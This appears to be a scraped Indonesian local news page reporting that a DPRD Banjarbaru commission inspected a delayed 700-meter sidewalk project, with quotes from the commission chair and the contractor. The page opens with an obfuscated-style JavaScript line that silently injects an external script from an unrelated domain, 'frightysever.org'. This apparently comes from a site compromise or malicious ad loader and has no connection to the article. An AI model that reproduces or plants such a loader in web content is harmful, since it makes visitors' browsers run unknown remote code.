(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

DPRD Tinjau Proyek Trotoar Molor di Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Selain progres pembangunan JPO (Jembatan Penyeberangan Orang) di Jalan A Yani Km 34 mengalami keterlambatan. Pembangunan Trotoar Panglima Batur juga bernasib sama, proyek itu lewat dari tanggal kontrak yang sudah ditentukan.

Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru melakukan pengecekan terhadap progres pembangunan Trotoar Panglima Batur yang seharusnya selesai akhir Desember 2022 lalu, Selasa (3/1/2023).

Pembangunan Trotoar Panglima Batur tahap pertama menelan anggaran senilai Rp 5,5 miliar sepanjang 700 meter.

Ketua Komisi III DPRD Banjarbaru, Emi Lasari mengatakan, pengerjaan Trotoar Panglima Batur hampir rampung, sehingga diperkirakan Januari 2023 ini selesai pengerjaannya.

 

Baca juga : Pembangunan JPO Molor, Wakil Rakyat Banjarbaru Minta Dibereskan

“Hampir dipastikan pengerjaan ini rampung Januari ini,” katanya.

Dilanjutkan Emi, dari laporan yang ia terima, pengerjaan Trotoar Panglima Batur mencapai 98 persen.

“Artinya tinggal finishing sedikit saja,” ujarnya.

Masih kata Emi, nantinya ketika sudah digunakan masyarakat, pihaknya baru bisa mengevaluasi pembangunan Trotoar Panglima Batur ini.

Apri, pihak kontraktor Trotoar Panglima Batur beralasan ada beberapa faktor keterlambatan pembangunan trotoar ini, salah satunya keterlambatan kedatangan bollard atau tiang pengaman yang ada di trotoar, terkendala cuaca sehingga pengiriman harus terlambat.

“Ketika ingin selesai masa kontrak, kita masih terkendala bollard, waktu itu (Desember) sudah mencapai 94,5 persen,” ujarnya.

Baca juga  : Pj Bupati Barsel Harapkan Toleransi Antar Umat Agama Semakin Baik

Dibeberkannya, beberapa hari kedepan Trotoar Panglima Batur sudah selesai 100 persen. Pembangunan trotoar ini menggunakan bahan batu alam, baru di Banjarbaru dipakai, karena biasanya trotoar menggunakan granit.

Apri mengakui, banyak menerima komplain dari beberapa orang yang bekerja di gedung atau bangunan sepanjang Trotoar Panglima Batur. Hal ini disebabkan trotoar yang tinggi di pintu masuk gedung.

“Ini sudah dari perencanaan awal, kami (kontraktor) hanya mengerjakan, dari awal maunya kita turunkan tapi salah katanya,” akunya.

Pembangunan Trotoar Panglima Batur sepanjang 700 meter, dari depan Balai Kota Banjarbaru hingga persis di depan SMPN 2 Banjarbaru. Sedangkan sisi bagian selatan sepanjang 200 meter dari depan Kantor Pertanahan Banjarbaru, sampai depan Kantor Pos Banjarbaru.

Trotoar Panglima Batur ditarget rampung sebelum 27 Desember 2022, namun karena beberapa kendala pengerjaannya mengalami keterlambatan.(Kanalkalimantan.com/ibnu)

Reporter : Ibnu
Editor : Rdy


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.